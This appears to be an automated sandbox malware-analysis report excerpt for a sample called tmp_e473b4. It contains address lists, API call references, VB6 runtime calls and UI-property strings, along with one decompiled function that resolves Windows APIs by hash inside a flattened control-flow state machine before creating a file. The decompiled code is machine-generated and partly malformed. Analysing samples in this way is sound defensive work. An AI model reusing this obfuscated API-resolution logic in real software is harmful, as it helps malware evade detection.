0x003f5107
0x00000000
0x003f510d
0x003f510d
0x003f5112
0x003f5114
0x003f5127
0x003f512c
0x003f512c
0x003f5139
0x003f513b
0x003f513d
0x003f514b
0x003f505c
0x003f505c
0x00000000
0x003f505c
0x003f505c
0x003f5107
0x003f507a
0x003f507a
0x003f50c2
0x003f50c7
0x003f50c9
0x003f50dc
0x003f50e1
0x003f50e1
0x003f50ed
0x00000000
0x003f507c
0x003f5082
0x003f50ad
0x003f50b0
0x003f50b2
0x003f50ba
0x00000000
0x003f5084
0x003f508a
0x00000000
0x003f5090
0x003f509a
0x003f50a8
0x003f505c
0x003f505c
0x00000000
0x003f505c
0x003f505c
0x003f508a
0x003f5082
0x003f507a
0x00000000
0x003f5078

APIs

RtlAllocateHeap.NTDLL(00000000,00000008,00020000,?,?,003F8AC8,?,3251FEFE,?,?), ref: 003F5355

Memory Dump Source

Source File: 00000007.00000002.2256698017.00000000003F1000.00000020.00000001.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000007.00000002.2256695140.00000000003F0000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.2256705457.00000000003FD000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.2256709121.00000000003FF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3f0000_tmp_e473b4.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 7f529263dafc6a9211e23db47f87235f5a0e852e3501bf7e7d808465ba6d5ef4
Instruction ID: 80202b7f37280395a77b43978ba4fcd5861651b3dcc3744a12da59624b2bbbca
Opcode Fuzzy Hash: 7f529263dafc6a9211e23db47f87235f5a0e852e3501bf7e7d808465ba6d5ef4
Instruction Fuzzy Hash: 30811532B447195BDB12AF7D9C9573E36EEABA4744F020529FB01DF2A5EA20DD0087C2

Uniqueness

Uniqueness Score: -1.00%

Function 003F80A0, Relevance: 1.7, APIs: 1, Instructions: 219
fileCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E003F80A0(signed int __edx) {
				short _v524;
				struct _SECURITY_ATTRIBUTES* _v532;
				intOrPtr _v536;
				intOrPtr _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				char _v564;
				intOrPtr _v568;
				char _v572;
				struct _SECURITY_ATTRIBUTES* _v576;
				intOrPtr _v580;
				signed int _v584;
				signed int _v588;
				signed int _v592;
				signed int _v596;
				void* __ebx;
				void* __ebp;
				void* _t58;
				void* _t64;
				void* _t66;
				intOrPtr* _t68;
				void* _t72;
				intOrPtr* _t77;
				intOrPtr* _t79;
				void* _t81;
				void* _t82;
				intOrPtr* _t85;
				void* _t87;
				intOrPtr _t88;
				intOrPtr* _t89;
				void* _t91;
				void* _t95;
				intOrPtr _t100;
				char _t104;
				signed int _t121;
				void* _t124;
				void* _t126;
				void* _t127;
				signed int* _t128;
				void* _t130;

				_t121 = __edx;
				_t128 =  &_v596;
				_v584 = 0x9318;
				_t58 = 0x343bfd89;
				_v584 = _v584 ^ 0xde90c338;
				_v584 = _v584 ^ 0xde905120;
				_v596 = 0x7d19;
				_v596 = _v596 << 9;
				_v596 = _v596 >> 0xe;
				_v596 = _v596 + 0xffff07e5;
				_v596 = _v596 | 0x8aea6eef;
				_v596 = _v596 + 0xd867;
				_v596 = _v596 + 0x9c41;
				_v596 = _v596 + 0x3de0;
				_v596 = _v596 + 0x218b;
				_v596 = _v596 ^ 0x00014403;
				_v592 = 0x2591;
				_t127 = _v584;
				_t95 = 0;
				_v592 = _v592 * 0x7d;
				_v592 = _v592 + 0x8d68;
				_v592 = _v592 + 0xffff8911;
				_v592 = _v592 * 0x6a;
				_v592 = _v592 + 0xffff93d5;
				_v592 = _v592 ^ 0x07a13cd2;
				_v588 = 0x789;
				_v588 = _v588 >> 1;
				_v588 = _v588 ^ 0xaee58af2;
				_v588 = _v588 ^ 0xaee58936;
				while(1) {
					L1:
					goto L2;
					do {
						while(1) {
							L2:
							_t130 = _t58 - 0xea5411f;
							if(_t130 > 0) {
								break;
							}
							if(_t130 == 0) {
								_t72 = E003F34C0(0x3fd970);
								_t121 =  *0x3fe158;
								_t126 = _t72;
								if(_t121 == 0) {
									_t121 = E003F3E60(_t95, E003F3F00(0xc6fbcd74), 0xba71dd03, _t127);
									 *0x3fe158 = _t121;
								}
								_t100 =  *0x3fe54c; // 0x55f0b0
								_t50 = _t100 + 0x260; // 0x55f310
								_t51 = _t100 + 0x18; // 0x55f0c8
								 *_t121( &_v524, 0x104, _t126, _t51, _t50);
								_t77 =  *0x3fe494;
								_t128 =  &(_t128[5]);
								if(_t77 == 0) {
									_t82 = E003F3F00(0x9bab0b12);
									_t121 = 0x7facde30;
									_t77 = E003F3E60(_t95, _t82, 0x7facde30, _t127);
									 *0x3fe494 = _t77;
								}
								_t124 =  *_t77();
								_t79 =  *0x3fdf30;
								if(_t79 == 0) {
									_t81 = E003F3F00(0x9bab0b12);
									_t121 = 0x5010a54d;
									_t79 = E003F3E60(_t95, _t81, 0x5010a54d, _t127);
									 *0x3fdf30 = _t79;
								}
								 *_t79(_t124, 0, _t126);
								_t58 = 0x2c2d24c8;
								goto L1;
							} else {
								if(_t58 == 0x2f64d8b) {
									_t85 =  *0x3fe1d4;
									if(_t85 == 0) {
										_t87 = E003F3F00(0x9bab0b12);
										_t121 = 0xa229df38;
										_t85 = E003F3E60(_t95, _t87, 0xa229df38, _t127);
										 *0x3fe1d4 = _t85;
									}
									 *_t85( &_v572);
									_t58 = 0xc5e088d;
									continue;
								} else {
									if(_t58 == 0x6f65414) {
										_t88 = _v568;
										_t104 = _v572;
										_v560 = _t88;
										_v552 = _t88;
										_v544 = _t88;
										_v536 = _t88;
										_t89 =  *0x3fdee4;
										_v564 = _t104;
										_v556 = _t104;
										_v548 = _t104;
										_v540 = _t104;
										_v532 = 0;
										if(_t89 == 0) {
											_t91 = E003F3F00(0x9bab0b12);
											_t121 = 0x4bf45878;
											_t89 = E003F3E60(_t95, _t91, 0x4bf45878, _t127);
											 *0x3fdee4 = _t89;
										}
										 *_t89(_t127, 0,  &_v564, 0x28);
										_t58 = 0x3557bd8c;
										_t95 =  !=  ? 1 : _t95;
										continue;
									} else {
										if(_t58 != 0xc5e088d) {
											goto L24;
										} else {
											_v580 = 0xa8c00;
											_v576 = 0;
											_v596 = E003FB6E0(_v580, _v576, 0x989680, 0);
											_v592 = _t121;
											_v588 = _v588 - _v596;
											_t58 = 0xea5411f;
											asm("sbb [esp+0x2c], ecx");
											continue;
										}
									}
								}
							}
							L35:
						}
						if(_t58 == 0x2c2d24c8) {
							if( *0x3fde04 == 0) {
								_t66 = E003F3F00(0x9bab0b12);
								_t121 = 0xb66d748a;
								 *0x3fde04 = E003F3E60(_t95, _t66, 0xb66d748a, _t127);
							}
							_t64 = CreateFileW( &_v524, _v584, _v596, 0, _v592, _v588, 0); // executed
							_t127 = _t64;
							if(_t127 == 0xffffffff) {
								goto L34;
							} else {
								_t58 = 0x6f65414;
								goto L2;
							}
						} else {
							if(_t58 == 0x343bfd89) {
								_t58 = 0x2f64d8b;
								goto L2;
							} else {
								if(_t58 == 0x3557bd8c) {
									_t68 =  *0x3fde3c;
									if(_t68 == 0) {
										_t68 = E003F3E60(_t95, E003F3F00(0x9bab0b12), 0x20de7595, _t127);
										 *0x3fde3c = _t68;
									}
									 *_t68(_t127);
									L34:
									return _t95;
								} else {
									goto L24;
								}
							}
						}
						goto L35;
						L24:
					} while (_t58 != 0xcfe8e);
					return _t95;
					goto L35;
				}
			}

0x003f80a0
0x003f80a0
0x003f80a6
0x003f80ae
0x003f80b3
0x003f80bb
0x003f80c3
0x003f80ca
0x003f80ce
0x003f80d2
0x003f80d9
0x003f80e0
0x003f80e7
0x003f80ee
0x003f80f5
0x003f80fc
0x003f8103
0x003f8112
0x003f8116
0x003f8119
0x003f811d
0x003f8125
0x003f8133
0x003f8137
0x003f813f
0x003f8147
0x003f814f
0x003f8153
0x003f815b
0x003f8163
0x003f8163
0x003f8168
0x003f8170
0x003f8170
0x003f8170
0x003f8170
0x003f8175
0x00000000
0x00000000
0x003f817b
0x003f828c
0x003f8291
0x003f8297
0x003f829b
0x003f82b3
0x003f82b5
0x003f82b5
0x003f82bb
0x003f82c1
0x003f82c8
0x003f82d7
0x003f82d9
0x003f82de
0x003f82e3
0x003f82ea
0x003f82ef
0x003f82f6
0x003f82fb
0x003f82fb
0x003f8302
0x003f8304
0x003f830b
0x003f8312
0x003f8317
0x003f831e
0x003f8323
0x003f8323
0x003f832c
0x003f832e
0x00000000
0x003f8181
0x003f8186
0x003f8252
0x003f8259
0x003f8260
0x003f8265
0x003f826c
0x003f8271
0x003f8271
0x003f827b
0x003f827d
0x00000000
0x003f818c
0x003f8191
0x003f81e3
0x003f81e7
0x003f81eb
0x003f81ef
0x003f81f3
0x003f81f7
0x003f81fb
0x003f8200
0x003f8204
0x003f8208
0x003f820c
0x003f8210
0x003f821a
0x003f8221
0x003f8226
0x003f822d
0x003f8232
0x003f8232
0x003f8241
0x003f8245
0x003f824a
0x00000000
0x003f8193
0x003f8198
0x00000000
0x003f819e
0x003f81a0
0x003f81a8
0x003f81c4
0x003f81c8
0x003f81d4
0x003f81d8
0x003f81dd
0x00000000
0x003f81dd
0x003f8198
0x003f8191
0x003f8186
0x00000000
0x003f817b
0x003f833d
0x003f8377
0x003f837e
0x003f8383
0x003f8391
0x003f8391
0x003f83b4
0x003f83b6
0x003f83bb
0x00000000
0x003f83bd
0x003f83bd
0x00000000
0x003f83bd
0x003f833f
0x003f8344
0x003f8365
0x00000000
0x003f8346
0x003f834b
0x003f83c7
0x003f83ce
0x003f83e1
0x003f83e6
0x003f83e6
0x003f83ec
0x003f83f1
0x003f83fa
0x00000000
0x00000000
0x00000000
0x003f834b
0x003f8344
0x00000000
0x003f834d
0x003f834d
0x003f8364
0x00000000
0x003f8364

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,?,?,00000000,?,3251FEFE,?,?), ref: 003F83B4

Memory Dump Source

Source File: 00000007.00000002.2256698017.00000000003F1000.00000020.00000001.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000007.00000002.2256695140.00000000003F0000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.2256705457.00000000003FD000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.2256709121.00000000003FF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3f0000_tmp_e473b4.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: ba49c88e37c258a480666faf3766a118a2188a43ef95d818bed8b1fa3f2cbf86
Instruction ID: 5a47b5096b30a79b2d4a356f4713c20b600fb5e14bae330f2b9d4b79e0fd2fd5
Opcode Fuzzy Hash: ba49c88e37c258a480666faf3766a118a2188a43ef95d818bed8b1fa3f2cbf86
Instruction Fuzzy Hash: 4E819E756083099FDB1ADF69C84463FB7E9AB94748F00092EF685CB2A0EB74DD05CB52

Uniqueness

Uniqueness Score: -1.00%

Function 004197A0, Relevance: 341.2, APIs: 167, Strings: 27, Instructions: 1699COMMON

Download Yara Rule

APIs

__vbaObjSet.MSVBVM60(?,00000000), ref: 0041981D
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410748,0000001C), ref: 0041987E
__vbaI4Var.MSVBVM60(?), ref: 00419890
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410414,00000054), ref: 004198B2
__vbaFreeObj.MSVBVM60 ref: 004198BB
__vbaFreeVar.MSVBVM60 ref: 004198C4
__vbaObjSet.MSVBVM60(?,00000000), ref: 004198D8
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410748,0000001C), ref: 00419924
__vbaI4Var.MSVBVM60(?), ref: 00419936
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410414,0000006C), ref: 00419962
__vbaFreeObj.MSVBVM60 ref: 0041996B
__vbaFreeVar.MSVBVM60 ref: 00419974
__vbaObjSet.MSVBVM60(?,00000000), ref: 00419988
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410748,0000001C), ref: 004199D4
__vbaI4Var.MSVBVM60(?), ref: 004199E6
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410414,00000054), ref: 00419A12
__vbaFreeObj.MSVBVM60 ref: 00419A1B
__vbaFreeVar.MSVBVM60 ref: 00419A24
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410748,0000001C), ref: 00419A66
__vbaBoolVar.MSVBVM60(?), ref: 00419A75
__vbaHresultCheckObj.MSVBVM60(00000000,00080005,0040F430,00000094), ref: 00419AA1
__vbaFreeVar.MSVBVM60 ref: 00419AAE
__vbaHresultCheckObj.MSVBVM60(00000000,00401610,0040F430,000002B0), ref: 00419AE9
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410678,00000024), ref: 00419B13
__vbaObjSet.MSVBVM60(?,00000000), ref: 00419B23
__vbaHresultCheckObj.MSVBVM60(00000000,72A1A274,00410748,0000001C), ref: 00419B7D
__vbaCastObjVar.MSVBVM60(?,00410280), ref: 00419B94
__vbaObjSet.MSVBVM60(?,00000000), ref: 00419B9F
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410414,00000214), ref: 00419BC7
__vbaFreeObjList.MSVBVM60(00000003,?,?,?), ref: 00419BDB
__vbaFreeVarList.MSVBVM60(00000002,?,?), ref: 00419BEB
__vbaObjSet.MSVBVM60(?,00000000), ref: 00419C02
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410748,0000001C), ref: 00419C4E
__vbaStrVarVal.MSVBVM60(?,?), ref: 00419C64
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410414,0000023C), ref: 00419C8C
__vbaFreeStr.MSVBVM60 ref: 00419C95
__vbaFreeObj.MSVBVM60 ref: 00419C9E
__vbaFreeVar.MSVBVM60 ref: 00419CA7
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410748,0000001C), ref: 00419D08
__vbaI2Var.MSVBVM60(?), ref: 00419D12
__vbaFreeVar.MSVBVM60 ref: 00419D1F
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410748,0000001C), ref: 00419D6F
__vbaI2Var.MSVBVM60(?), ref: 00419D79
__vbaFreeVar.MSVBVM60 ref: 00419D86
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410748,0000001C), ref: 00419DD8
__vbaI2Var.MSVBVM60(?), ref: 00419DE2
__vbaFreeVar.MSVBVM60 ref: 00419DEF
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410748,0000001C), ref: 00419E41
__vbaI2Var.MSVBVM60(?), ref: 00419E4B
__vbaFreeVar.MSVBVM60 ref: 00419E58
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410748,0000001C), ref: 00419EAA
__vbaI2Var.MSVBVM60(?), ref: 00419EB4
__vbaFreeVar.MSVBVM60 ref: 00419EC1
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410748,0000001C), ref: 00419F13
__vbaBoolVar.MSVBVM60(?), ref: 00419F1D
__vbaFreeVar.MSVBVM60 ref: 00419F2A
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410748,0000001C), ref: 00419F7C
__vbaBoolVar.MSVBVM60(?), ref: 00419F86
__vbaFreeVar.MSVBVM60 ref: 00419F93
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410748,0000001C), ref: 00419FE5
__vbaI2Var.MSVBVM60(?), ref: 00419FEF
__vbaFreeVar.MSVBVM60 ref: 00419FFC
__vbaI4Str.MSVBVM60(&H40), ref: 0041A007
__vbaI4Str.MSVBVM60(&H1000,00000000), ref: 0041A013
__vbaSetSystemError.MSVBVM60(00000000,00001190,00000000), ref: 0041A02D
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410748,0000001C), ref: 0041A08B
__vbaBoolVar.MSVBVM60(?), ref: 0041A095
__vbaFreeVar.MSVBVM60 ref: 0041A0A2
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410748,0000001C), ref: 0041A0F4
__vbaI2Var.MSVBVM60(?), ref: 0041A0FE
__vbaFreeVar.MSVBVM60 ref: 0041A10B
__vbaSetSystemError.MSVBVM60(003E0000,00000000,00001190,?), ref: 0041A142
__vbaFreeVar.MSVBVM60 ref: 0041A14B
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410748,0000001C), ref: 0041A1A0
__vbaStrVarMove.MSVBVM60(00000003), ref: 0041A1AA
__vbaStrMove.MSVBVM60 ref: 0041A1B5
__vbaStrCopy.MSVBVM60 ref: 0041A1C0
__vbaFreeStr.MSVBVM60 ref: 0041A1C9
__vbaFreeVar.MSVBVM60 ref: 0041A1D2
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410748,0000001C), ref: 0041A227
__vbaStrVarMove.MSVBVM60(00000003), ref: 0041A231
__vbaStrMove.MSVBVM60 ref: 0041A23C
__vbaStrCopy.MSVBVM60 ref: 0041A247
__vbaFreeStr.MSVBVM60 ref: 0041A250
__vbaFreeVar.MSVBVM60 ref: 0041A259
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410748,0000001C), ref: 0041A2AE
__vbaStrVarMove.MSVBVM60(00000003), ref: 0041A2B8
__vbaStrMove.MSVBVM60 ref: 0041A2C3
__vbaStrCopy.MSVBVM60 ref: 0041A2CE
__vbaFreeStr.MSVBVM60 ref: 0041A2D7
__vbaFreeVar.MSVBVM60 ref: 0041A2E0
__vbaNew2.MSVBVM60(004104D8,0042AA34), ref: 0041A2F9
__vbaHresultCheckObj.MSVBVM60(00000000,?,004104C8,00000038,?,?,?,?,?,?,?,00000003), ref: 0041A36D
__vbaNew2.MSVBVM60(004104D8,0042AA34,?,?,?,?,?,?,?,00000003), ref: 0041A386
__vbaHresultCheckObj.MSVBVM60(00000000,?,004104C8,00000038,?,?,?,?,?,?,?,?), ref: 0041A414
__vbaVar2Vec.MSVBVM60(?,00000003,?,?,?,?,?,?,?,?), ref: 0041A422
__vbaRefVarAry.MSVBVM60(?,?,?,?,?,?,?,?,?), ref: 0041A42C
__vbaUbound.MSVBVM60(00000001,?,?,?,?,?,?,?,?,?), ref: 0041A437
__vbaErase.MSVBVM60(00000000,?,?,00000000,00000000,?,?,?,?,?,?,?,?), ref: 0041A455
__vbaAryMove.MSVBVM60(0042A030,00000004,?,?,?,?,?,?,?,?), ref: 0041A473
__vbaFreeVarList.MSVBVM60(00000002,?,00000003,?,?,?,?,?,?,?,?), ref: 0041A483
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410748,0000001C), ref: 0041A4E0
__vbaStrVarMove.MSVBVM60(00000003,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041A4EA
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041A4F5
__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041A500
__vbaFreeStr.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041A509
__vbaFreeVar.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041A512
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410748,0000001C), ref: 0041A565
__vbaBoolVar.MSVBVM60(00000003), ref: 0041A56F
__vbaFreeVar.MSVBVM60 ref: 0041A57C

Part of subcall function 0041D540: __vbaAryConstruct2.MSVBVM60(?,00411224,00000011,?,00401610,?), ref: 0041D57F
Part of subcall function 0041D540: __vbaGenerateBoundsError.MSVBVM60 ref: 0041D5A0
Part of subcall function 0041D540: __vbaGenerateBoundsError.MSVBVM60 ref: 0041D5E7
Part of subcall function 0041D540: __vbaGenerateBoundsError.MSVBVM60 ref: 0041D5EF
Part of subcall function 0041D540: __vbaGenerateBoundsError.MSVBVM60 ref: 0041D5FF
Part of subcall function 0041D540: __vbaUbound.MSVBVM60(00000001), ref: 0041D62C
Part of subcall function 0041D540: __vbaGenerateBoundsError.MSVBVM60 ref: 0041D667

Part of subcall function 0041BC40: __vbaUbound.MSVBVM60(00000001,00000000,?,00401610,?), ref: 0041BCAE
Part of subcall function 0041BC40: __vbaGenerateBoundsError.MSVBVM60 ref: 0041BCF9
Part of subcall function 0041BC40: #632.MSVBVM60(?,00004008,00000000,00000002), ref: 0041BD46
Part of subcall function 0041BC40: __vbaStrVarVal.MSVBVM60(?,?), ref: 0041BD54
Part of subcall function 0041BC40: #516.MSVBVM60(00000000), ref: 0041BD5B
Part of subcall function 0041BC40: __vbaUI1I2.MSVBVM60 ref: 0041BD63
Part of subcall function 0041BC40: __vbaFreeStr.MSVBVM60 ref: 0041BD6F
Part of subcall function 0041BC40: __vbaFreeVarList.MSVBVM60(00000002,00000002,?), ref: 0041BD7F

Part of subcall function 0041BC40: __vbaGenerateBoundsError.MSVBVM60 ref: 0041BD05
Part of subcall function 0041BC40: __vbaGenerateBoundsError.MSVBVM60 ref: 0041BD9F
Part of subcall function 0041BC40: #608.MSVBVM60(00000002,?), ref: 0041BDE0
Part of subcall function 0041BC40: __vbaInStrVar.MSVBVM60(?,00000000,00000002,00000008,00000001), ref: 0041BDF8
Part of subcall function 0041BC40: __vbaI2Var.MSVBVM60(00000000), ref: 0041BDFF
Part of subcall function 0041BC40: __vbaFreeVarList.MSVBVM60(00000002,00000002,?), ref: 0041BE11
Part of subcall function 0041BC40: #632.MSVBVM60(?,00000008,?,00000002), ref: 0041BE62
Part of subcall function 0041BC40: __vbaStrVarMove.MSVBVM60(?,?,00000002), ref: 0041BE6C
Part of subcall function 0041BC40: __vbaStrMove.MSVBVM60(?,00000002), ref: 0041BE77
Part of subcall function 0041BC40: __vbaFreeVarList.MSVBVM60(00000002,00000002,?,?,00000002), ref: 0041BE87
Part of subcall function 0041BC40: #617.MSVBVM60(00000002,00004008,00000000), ref: 0041BEBC
Part of subcall function 0041BC40: #608.MSVBVM60(?,?), ref: 0041BEC7

Part of subcall function 0041BC40: __vbaGenerateBoundsError.MSVBVM60 ref: 0041BDAB
Part of subcall function 0041BC40: #632.MSVBVM60(?,?,00000000,?), ref: 0041BF22
Part of subcall function 0041BC40: __vbaVarCat.MSVBVM60(?,?,00000002), ref: 0041BF3A
Part of subcall function 0041BC40: __vbaVarCat.MSVBVM60(?,00000008,00000000), ref: 0041BF48
Part of subcall function 0041BC40: __vbaVarCat.MSVBVM60(?,?,00000000), ref: 0041BF59
Part of subcall function 0041BC40: __vbaStrVarMove.MSVBVM60(00000000), ref: 0041BF5C
Part of subcall function 0041BC40: __vbaStrMove.MSVBVM60 ref: 0041BF69
Part of subcall function 0041BC40: __vbaFreeVarList.MSVBVM60(00000007,00000002,?,?,0000000A,?,?,?), ref: 0041BF93
Part of subcall function 0041BC40: __vbaFreeStr.MSVBVM60(0041BFFB), ref: 0041BFF4

Part of subcall function 004229F0: __vbaFreeVarList.MSVBVM60(00000002,?,?,?,?,?,00000019,72A0C33A), ref: 00422AB1
Part of subcall function 004229F0: __vbaFreeVarList.MSVBVM60(00000002,?,?,?,?), ref: 00422B12
Part of subcall function 004229F0: __vbaVarTstEq.MSVBVM60(?,?,00001BBC), ref: 00422B78
Part of subcall function 004229F0: __vbaI2Var.MSVBVM60(?), ref: 00422B87

__vbaHresultCheckObj.MSVBVM60(00000000,?,00410748,0000001C,?,?,0042A030,0042A030), ref: 0041A601
__vbaBoolVar.MSVBVM60(00000003,?,?,0042A030,0042A030), ref: 0041A60B
__vbaFreeVar.MSVBVM60(?,?,0042A030,0042A030), ref: 0041A618
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410748,0000001C,?,?,?,?,?,?,?,0042A030), ref: 0041A66A
__vbaBoolVar.MSVBVM60(00000003,?,?,?,?,?,?,?,0042A030), ref: 0041A674
__vbaFreeVar.MSVBVM60(?,?,?,?,?,?,?,0042A030), ref: 0041A681
__vbaFreeVarList.MSVBVM60(00000002,00000003,?,00422E90,00000000,?,00000003,?,?,?,?,?,?,?,0042A030), ref: 0041A6DF
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410748,0000001C), ref: 0041A728
__vbaStrVarMove.MSVBVM60(00000003,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0042A030), ref: 0041A732
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0042A030), ref: 0041A73D
__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0042A030), ref: 0041A748
__vbaFreeStr.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0042A030), ref: 0041A751
__vbaFreeVar.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0042A030), ref: 0041A75A
__vbaObjSet.MSVBVM60(?,00000000), ref: 0041A775
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00410414,0000009C), ref: 0041A79A
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0042A030), ref: 0041A7A3
__vbaAryLock.MSVBVM60(?,00588598), ref: 0041A7BC
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0042A030), ref: 0041A7DB
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0042A030), ref: 0041A7E8
__vbaAryUnlock.MSVBVM60(?,?), ref: 0041A800
__vbaNew2.MSVBVM60(004104D8,0042AA34), ref: 0041A819
__vbaNew2.MSVBVM60(0040E078,0042A064), ref: 0041A838
__vbaObjSetAddref.MSVBVM60(?,00000000), ref: 0041A84B
__vbaHresultCheckObj.MSVBVM60(00000000,027EF774,004104C8,0000000C), ref: 0041A865
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0042A030), ref: 0041A86E
__vbaAryDestruct.MSVBVM60(00000000,?,0041A8EF), ref: 0041A8DF
__vbaFreeVar.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0042A030), ref: 0041A8E8

Strings

MaxLen, xrefs: 00419FB1
Enabled, xrefs: 00419A3A
ControlType, xrefs: 00419E76
&H1000, xrefs: 0041A00E
CustomFormat, xrefs: 0041A4AB
PasswordChar, xrefs: 0041A169
Font, xrefs: 00419B56
Text, xrefs: 0041A6FF
AutoVScroll, xrefs: 0041A5CD
BackColor, xrefs: 00419842
ButtonBackColor, xrefs: 004199A6
ArrowAsKeyTab, xrefs: 00419EDF
Multiline, xrefs: 0041A057
eXTEditBox1, xrefs: 0041A6F3
EnterAsKeyTab, xrefs: 00419F48
AutoHScroll, xrefs: 0041A33D, 0041A3E4, 0041A530
AutoSelText, xrefs: 0041A636
ButtonStyle, xrefs: 00419DA4
CaseType, xrefs: 00419E0D
ToolTipText, xrefs: 00419C20
FormatText, xrefs: 0041A277
ForeColor, xrefs: 004198F6
ValidChar, xrefs: 0041A1F0
Alignment, xrefs: 00419CD0
BorderStyle, xrefs: 00419D3D
ScrollBars, xrefs: 0041A0C0
&H40, xrefs: 0041A002

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$Free$CheckHresult$Move$Error$BoundsGenerate$List$Bool$Copy$New2$#632Ubound$#608System$#516#617AddrefCastConstruct2DestructEraseLockUnlockVar2
String ID: &H1000$&H40$Alignment$ArrowAsKeyTab$AutoHScroll$AutoSelText$AutoVScroll$BackColor$BorderStyle$ButtonBackColor$ButtonStyle$CaseType$ControlType$CustomFormat$Enabled$EnterAsKeyTab$Font$ForeColor$FormatText$MaxLen$Multiline$PasswordChar$ScrollBars$Text$ToolTipText$ValidChar$eXTEditBox1
API String ID: 1849406520-4125845578
Opcode ID: 3bc6dfc64b4e67dec9f3331baed095d0177df28797fd896cbf12892b224acf7a
Instruction ID: 14e9e91084dcc7f14718d377a57e2a393148882e012712f234efa37f7e0d6433
Opcode Fuzzy Hash: 3bc6dfc64b4e67dec9f3331baed095d0177df28797fd896cbf12892b224acf7a
Instruction Fuzzy Hash: 2EE24E70A00309AFDB14DFA4C988EDEBBB8FF48704F108569E549E7291EB749986CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00415D80, Relevance: 188.2, APIs: 105, Strings: 2, Instructions: 932
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaSetSystemError.MSVBVM60(?), ref: 00415DDF
__vbaSetSystemError.MSVBVM60(?), ref: 00415DF5
#525.MSVBVM60(?), ref: 00415E34
__vbaStrMove.MSVBVM60 ref: 00415E45
__vbaStrToAnsi.MSVBVM60(?,?), ref: 00415E4F
__vbaSetSystemError.MSVBVM60(?,0000000D,?,00000000), ref: 00415E65
__vbaStrToUnicode.MSVBVM60(?,?), ref: 00415E73
__vbaFreeStr.MSVBVM60 ref: 00415E7F
#616.MSVBVM60(?,?), ref: 00415E8E
__vbaStrMove.MSVBVM60 ref: 00415E99
__vbaStrCopy.MSVBVM60 ref: 00415EAA
__vbaI2I4.MSVBVM60 ref: 00415EBC
__vbaI2I4.MSVBVM60 ref: 00415EC8
__vbaI2I4.MSVBVM60 ref: 00415EDB
__vbaI2I4.MSVBVM60 ref: 00415EF0
